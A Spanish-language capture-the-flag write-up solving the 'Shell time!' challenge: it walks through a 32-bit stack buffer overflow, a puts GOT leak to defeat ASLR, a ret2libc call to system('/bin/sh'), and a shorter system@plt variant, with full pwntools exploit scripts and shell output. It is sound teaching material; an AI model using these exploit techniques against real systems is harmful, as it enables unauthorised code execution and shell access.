Shell time!
13 minutos de lectura
Este reto es la continuación de RIP my bof. Échale un vistazo si no lo has visto ya.
Ahora, la flag está en /flag2.txt
, por lo que tenemos que conseguir algo más que redirigir la ejecución del programa a system("cat /flag.txt")
, como en RIP my bof.
Lo primero que pensé es ret2libc. La idea es obtener una consola de comandos llamando a system
dentro de Glibc con argumento "/bin/sh"
.
Para ese propósito, necesitamos burlar ASLR, porque Glibc es una librería de sistema y está afectada por la aleatorización de direcciones si ASLR está habilitado (probablemente sí). Esto se puede hacer mediante una fuga (leak) de una dirección de alguna función de Glibc en tiempo de ejecución. Con esta información, podremos extraer los tres últimos dígitos hexadecimales y buscar por la versión de Glibc. Una vez que la tengamos, tendremos que obtener el offset de system
y de la cadena "/bin/sh"
. Esto se explicará mejor más adelante.
El binario se llama server
, y es de 32 bits y tiene NX habilitado. Si lo ejecutamos, vemos la pila (stack) y el valor de $eip
(lo cual es una ayuda para el reto RIP my bof). El texto de entrada se lee mediante gets
, que es una función vulnerable a Buffer Overflow.
Para realizar la técnica de ret2libc, primero necesitamos una dirección de Glibc en tiempo de ejecución. Esto se puede hacer llamando a la función puts
y pasándole como argumento la dirección de una función en la Tabla de Offsets Globales (Global Offset Table, GOT), de manera que el valor de esa dirección se imprima en la salida estándar (el valor de una entrada de la GOT es la dirección real de una función externa, si ya ha sido resuelta).
Para llamar a puts
, tenemos que sobrescribir $eip
con la entrada de puts
en la Tabla de Enlaces a Procedimientos (Procedure Linkage Table, PLT), que contiene instrucciones que realizan un salto a la GOT o gestiona la resolución de la dirección si la entrada de la GOT está vacía.
La dirección de puts
en la PLT se puede obtener con objdump
:
$ objdump -d server | grep puts
08048410 <puts@plt>:
8048704: e8 07 fd ff ff call 8048410 <puts@plt>
8048716: e8 f5 fc ff ff call 8048410 <puts@plt>
8048846: e8 c5 fb ff ff call 8048410 <puts@plt>
8048881: e8 8a fb ff ff call 8048410 <puts@plt>
Ahora necesitamos una dirección de la GOT, por ejemplo, la misma función puts
. De nuevo, con objdump
o con readelf
:
$ objdump -R server | grep puts
0804a018 R_386_JUMP_SLOT puts@GLIBC_2.0
$ readelf -r server | grep puts
0804a018 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
Finalmente, necesitamos indicar una dirección de retorno. Como necesitaremos enviar otro payload, tenemos que ejecutar el programa otra vez pero sin cerrar el proceso. Por tanto, la instrucción de retorno tiene que ser la dirección del main
:
$ objdump -d server | grep main
08048430 <__libc_start_main@plt>:
804849d: e8 8e ff ff ff call 8048430 <__libc_start_main@plt>
08048640 <main>:
$ readelf -s server | grep main
7: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
61: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
73: 08048640 90 FUNC GLOBAL DEFAULT 14 main
Ahora que tenemos estos valores, podemos enviar el payload. Este estará formado por 60 bytes de relleno (tomado de RIP my bof), la dirección de puts
en la PLT, la dirección de retorno (main
) y el argumento para puts
(que es la dirección de puts
en la GOT).
Vamos a probarlo:
$ python3 -c 'import os; os.write(1, b"A" * 60 + b"\x10\x84\x04\x08" + b"\x40\x86\x04\x08" + b"\x18\xa0\x04\x08")' | ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffea27a0 | 00 00 00 00 00 00 00 00 |
0xffea27a8 | 00 00 00 00 00 00 00 00 |
0xffea27b0 | 00 00 00 00 00 00 00 00 |
0xffea27b8 | 00 00 00 00 00 00 00 00 |
0xffea27c0 | ff ff ff ff ff ff ff ff |
0xffea27c8 | ff ff ff ff ff ff ff ff |
0xffea27d0 | 80 75 f1 f7 00 a0 04 08 |
0xffea27d8 | e8 27 ea ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffea27a0 | 41 41 41 41 41 41 41 41 |
0xffea27a8 | 41 41 41 41 41 41 41 41 |
0xffea27b0 | 41 41 41 41 41 41 41 41 |
0xffea27b8 | 41 41 41 41 41 41 41 41 |
0xffea27c0 | 41 41 41 41 41 41 41 41 |
0xffea27c8 | 41 41 41 41 41 41 41 41 |
0xffea27d0 | 41 41 41 41 41 41 41 41 |
0xffea27d8 | 41 41 41 41 10 84 04 08 |
Return address: 0x08048410
0@>
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffea2790 | 00 00 00 00 00 00 00 00 |
0xffea2798 | 00 00 00 00 00 00 00 00 |
0xffea27a0 | 00 00 00 00 00 00 00 00 |
0xffea27a8 | 00 00 00 00 00 00 00 00 |
0xffea27b0 | ff ff ff ff ff ff ff ff |
0xffea27b8 | ff ff ff ff ff ff ff ff |
0xffea27c0 | 80 75 f1 f7 00 a0 04 08 |
0xffea27c8 | d8 27 ea ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffea2790 | 00 00 00 00 00 00 00 00 |
0xffea2798 | 00 00 00 00 00 00 00 00 |
0xffea27a0 | 00 00 00 00 00 00 00 00 |
0xffea27a8 | 00 00 00 00 00 00 00 00 |
0xffea27b0 | ff ff ff ff ff ff ff ff |
0xffea27b8 | ff ff ff ff ff ff ff ff |
0xffea27c0 | 80 75 f1 f7 00 a0 04 08 |
0xffea27c8 | d8 27 ea ff 8b 86 04 08 |
Return address: 0x0804868b
zsh: done python3 -c |
zsh: segmentation fault (core dumped) ./server
Aquí tenemos dos cosas: main
se ha llamado dos veces y se ha producido la fuga de memoria (los caracteres 0@>
y otros no imprimibles representan la dirección de puts
de Glibc en tiempo de ejecución).
Ahora podemos crear un exploit en Python para extraer este valor y más adelante buscar una versión de Glibc:
#!/usr/bin/env python3
from pwn import *
context.binary = 'server'
elf = context.binary
def main():
p = elf.process()
main_addr = 0x8048640
puts_plt_addr = 0x8048410
puts_got_addr = 0x804a018
offset = 60
junk = b'A' * offset
payload = junk
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
p.sendlineafter(b'Input some text: ', payload)
p.recvuntil(b'Return address')
p.recvline()
p.recvline()
puts_addr = u32(p.recvline().strip()[:4])
log.info(f'Leaked puts() address: {hex(puts_addr)}')
if __name__ == '__main__':
main()
Si lo ejecutamos, tenemos la dirección de puts
en tiempo de ejecución:
$ python3 solve.py
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './server': pid 1746785
[*] Leaked puts() address: 0xf7e3b290
[*] Switching to interactive mode
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xff94ee90 | 00 00 00 00 00 00 00 00 |
0xff94ee98 | 00 00 00 00 00 00 00 00 |
0xff94eea0 | 00 00 00 00 00 00 00 00 |
0xff94eea8 | 00 00 00 00 00 00 00 00 |
0xff94eeb0 | ff ff ff ff ff ff ff ff |
0xff94eeb8 | ff ff ff ff ff ff ff ff |
0xff94eec0 | 80 15 fb f7 00 a0 04 08 |
0xff94eec8 | d8 ee 94 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: $
Utilizar context.log_level = 'DEBUG'
puede ser útil si se utiliza pwntools
porque todos los datos enviados y recibidos se muestran como bytes en hexadecimal.
Por el momento, vamos a terminar el exploit en local. Ahora que tenemos la dirección real de puts
y el programa reiniciado en el main
, tenemos otra oportunidad para mandar otro payload. Además, podemos calcular la dirección base de Glibc.
ASLR funciona de tal manera que solamente se genera una dirección base aleatoria, y las direcciones de las funciones se calculan utilizando offsets. Podemos obtener el offset de puts
en la librería Glibc local:
$ ldd server
linux-gate.so.1 (0xf7f41000)
libc.so.6 => /lib32/libc.so.6 (0xf7d3f000)
/lib/ld-linux.so.2 (0xf7f43000)
$ readelf -s /lib32/libc.so.6 | grep puts
215: 00071290 531 FUNC GLOBAL DEFAULT 16 _IO_puts@@GLIBC_2.0
461: 00071290 531 FUNC WEAK DEFAULT 16 puts@@GLIBC_2.0
540: 0010c050 1240 FUNC GLOBAL DEFAULT 16 putspent@@GLIBC_2.0
737: 0010dc90 742 FUNC GLOBAL DEFAULT 16 putsgent@@GLIBC_2.10
1244: 0006fa20 381 FUNC WEAK DEFAULT 16 fputs@@GLIBC_2.0
1831: 0006fa20 381 FUNC GLOBAL DEFAULT 16 _IO_fputs@@GLIBC_2.0
2507: 0007ac20 191 FUNC WEAK DEFAULT 16 fputs_unlocked@@GLIBC_2.1
El offset de puts
es 0x71290
. Nótese que los tres últimos dígitos del offset coinciden con los tres últimos dígitos de la dirección real de puts
en tiempo de ejecución. Esto ocurre porque ASLR genera direcciones que terminan en 000
en hexadecimal. Esto también sirve como validación de que todo está funcionando correctamente.
Podemos calcular la dirección base de Glibc en tiempo de ejecución con una resta. Y después, podremos calcular las direcciones reales de system
y del puntero a "/bin/sh"
. Estos son los offsets:
$ readelf -s /lib32/libc.so.6 | grep system
258: 00137810 106 FUNC GLOBAL DEFAULT 16 svcerr_systemerr@@GLIBC_2.0
662: 00045420 63 FUNC GLOBAL DEFAULT 16 __libc_system@@GLIBC_PRIVATE
1534: 00045420 63 FUNC WEAK DEFAULT 16 system@@GLIBC_2.0
$ strings -atx /lib32/libc.so.6 | grep /bin/sh
18f352 /bin/sh
Ahora podemos calcular las direcciones reales y enviar el segundo payload, para llamar a system
con el puntero a "/bin/sh"
como argumento:
#!/usr/bin/env python3
from pwn import *
context.binary = 'server'
elf = context.binary
def main():
p = elf.process()
main_addr = 0x8048640
puts_plt_addr = 0x8048410
puts_got_addr = 0x804a018
offset = 60
junk = b'A' * offset
payload = junk
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
p.sendlineafter(b'Input some text: ', payload)
p.recvuntil(b'Return address')
p.recvline()
p.recvline()
puts_addr = u32(p.recvline().strip()[:4])
log.info(f'Leaked puts() address: {hex(puts_addr)}')
puts_offset = 0x071290
system_offset = 0x045420
bin_sh_offset = 0x18f352
glibc_base_addr = puts_addr - puts_offset
log.info(f'Glibc base address: {hex(glibc_base_addr)}')
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload = junk
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)
p.sendlineafter(b'Input some text: ', payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './server': pid 1758891
[*] Leaked puts() address: 0xf7dd1290
[*] Glibc base address: 0xf7d60000
[*] Switching to interactive mode
$ ls
server solve.py
Perfecto, ahora podemos cambiar process
por remote
y lanzar el exploit contra la instancia remota:
$ python3 solve.py thekidofarcrania.com 4902
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to thekidofarcrania.com on port 4902: Done
[*] Leaked puts() address: 0xf7e17b40
[*] Glibc base address: 0xf7da68b0
[*] Switching to interactive mode
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffe12f10 | 41 41 41 41 41 41 41 41 |
0xffe12f18 | 41 41 41 41 41 41 41 41 |
0xffe12f20 | 41 41 41 41 41 41 41 41 |
0xffe12f28 | 41 41 41 41 41 41 41 41 |
0xffe12f30 | 41 41 41 41 41 41 41 41 |
0xffe12f38 | 41 41 41 41 41 41 41 41 |
0xffe12f40 | 41 41 41 41 41 41 41 41 |
0xffe12f48 | 41 41 41 41 d0 bc de f7 |
Return address: 0xf7debcd0
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
Y no funciona. Esto se debe a que el servidor está utilizando una versión de Glibc diferente. Nótese que los tres últimos dígitos en hexadecimal de la dirección de puts
son diferentes, y por tanto, la dirección base de Glibc no termina en 000
.
Sin embargo, podemos buscar una versión de Glibc que tenga puts
con un offset que termine en b40
, que es el que tiene la instancia remota. Una base de datos de Glibc útil es libc.blukat.me:
Desde aquí podemos descargar la librería o tomar nota de los offsets que necesitamos (puts
, system
y "/bin/sh"
). Tenemos que corregir los offsets entonces:
puts_offset = 0x067b40 # 0x071290
system_offset = 0x03d200 # 0x045420
bin_sh_offset = 0x17e0cf # 0x18f352
Y ahora lanzamos el exploit y obtenemos una consola de comandos con la que podemos leer la flag:
$ python3 solve.py thekidofarcrania.com 4902
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to thekidofarcrania.com on port 4902: Done
[*] Leaked puts() address: 0xf7d7db40
[*] Glibc base address: 0xf7d16000
[*] Switching to interactive mode
$ cat /flag2.txt
CTFlearn{c0ngrat1s_0n_th1s_sh3ll!_SKDJLSejf}
Existe una manera mucho más simple de obtener una consola de comandos. De hecho, el reto dice que no es necesario utilizar Glibc. Y en efecto, podemos aprovecharnos de la ayuda que proporciona el programa para explotar la vulnerabilidad de Buffer Overflow como en RIP my bof.
La clave es que el programa está fugando direcciones de la pila (stack), por lo que podemos escribir "/bin/sh"
y conocer la dirección de memoria que apunta a la cadena. Otro punto importante es que la función system
se puede llamar directamente desde la PLT, ya que está presente en el código fuente.
Por tanto, solamente necesitamos llamar a system
en la PLT y añadir la dirección de la pila donde guardaremos la cadena "/bin/sh"
.
Podemos tomar una dirección de la pila de la salida del programa, por ejemplo la primera. La idea es sobrescribir $eip
con la dirección de system
en la PLT, luego, los 4 bytes siguientes serán la dirección de retorno (que dan igual, pueden ser bytes nulos), y los 4 bytes siguientes son el puntero a "/bin/sh"
. La mejor idea es poner "/bin/sh"
justo después del puntero y calcular su dirección para ponerla en la posición correcta.
GDB puede venir bien para chequear que todo está en su sitio.
Es posible que todo esto se entienda mejor con el siguiente exploit en Python, que es más corto que el anterior:
#!/usr/bin/env python3
from pwn import context, log, p32, remote, sys
context.binary = 'server'
elf = context.binary
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
p.recvuntil(b'address')
p.recvline()
stack_addr = int(p.recvline().split()[0].decode(), 16)
log.info(f'Leaked an address on the stack: {hex(stack_addr)}')
offset = 60
junk = b'A' * offset
payload = junk
payload += p32(elf.plt.system)
payload += p32(0)
payload += p32(stack_addr + 0x48)
payload += b'/bin/sh'
p.sendlineafter(b'Input some text: ', payload)
p.recvuntil(b'Return')
p.recv()
p.interactive()
if __name__ == '__main__':
main()
Y funciona tanto en local como en remoto, sin necesidad de utilizar Glibc:
$ python3 solve2.py
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to thekidofarcrania.com on port 4902: Done
[*] Leaked an address on the stack: 0xff9bac40
[*] Switching to interactive mode
$ ls
server solve2.py solve.py
$ python3 solve2.py thekidofarcrania.com 4902
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to thekidofarcrania.com on port 4902: Done
[*] Leaked an address on the stack: 0xffd57510
[*] Switching to interactive mode
$ cat /flag2.txt
CTFlearn{c0ngrat1s_0n_th1s_sh3ll!_SKDJLSejf}
Los exploits completos se pueden encontrar aquí: solve.py
y solve2.py
.